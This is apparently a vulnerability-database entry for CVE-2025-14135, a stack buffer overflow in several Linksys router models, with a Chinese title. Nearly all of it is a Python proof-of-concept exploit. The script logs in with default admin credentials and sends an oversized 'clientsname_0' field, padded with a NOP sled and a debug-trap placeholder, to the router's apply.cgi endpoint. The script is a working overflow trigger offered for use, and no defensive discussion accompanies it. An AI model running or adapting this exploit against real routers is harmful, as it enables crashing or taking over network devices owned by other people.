Linksys多型号路由器栈缓冲区溢出漏洞(CVE-2025-14135)

#!/usr/bin/env python3 # CVE-2025-14135 PoC - Linksys RE6500 Stack Buffer Overflow # Target: AP_get_wired_clientlist_setClientsName in mod_form.so import requests import sys import argparse def create_payload(payload_size=1024): """Generate overflow payload""" # Pattern to overwrite return address and control flow payload = 'A' * payload_size # Add NOP sled and shellcode placeholder payload += '\\x90' * 16 payload += '\\xcc' * 16 # INT3 for debugging return payload def exploit(target_ip, target_port=80, username='admin', password='admin'): """Send exploit payload to vulnerable endpoint""" login_url = f"http://{target_ip}:{target_port}/login.cgi" exploit_url = f"http://{target_ip}:{target_port}/apply.cgi" # Login first login_data = { 'username': username, 'password': password } session = requests.Session() try: session.post(login_url, data=login_data, timeout=10) except: pass # Send malicious payload exploit_data = { 'clientsname_0': create_payload(2000), 'submit_button': 'ap_get_wired_clientlist', 'change_action': 'apply' } try: response = session.post(exploit_url, data=exploit_data, timeout=10) print(f"[+] Payload sent to {target_ip}:{target_port}") print(f"[+] Response status: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2025-14135 PoC') parser.add_argument('target', help='Target IP address') parser.add_argument('-p', '--port', default=80, type=int, help='Target port') parser.add_argument('-u', '--username', default='admin', help='Username') parser.add_argument('-P', '--password', default='admin', help='Password') args = parser.parse_args() exploit(args.target, args.port, args.username, args.password)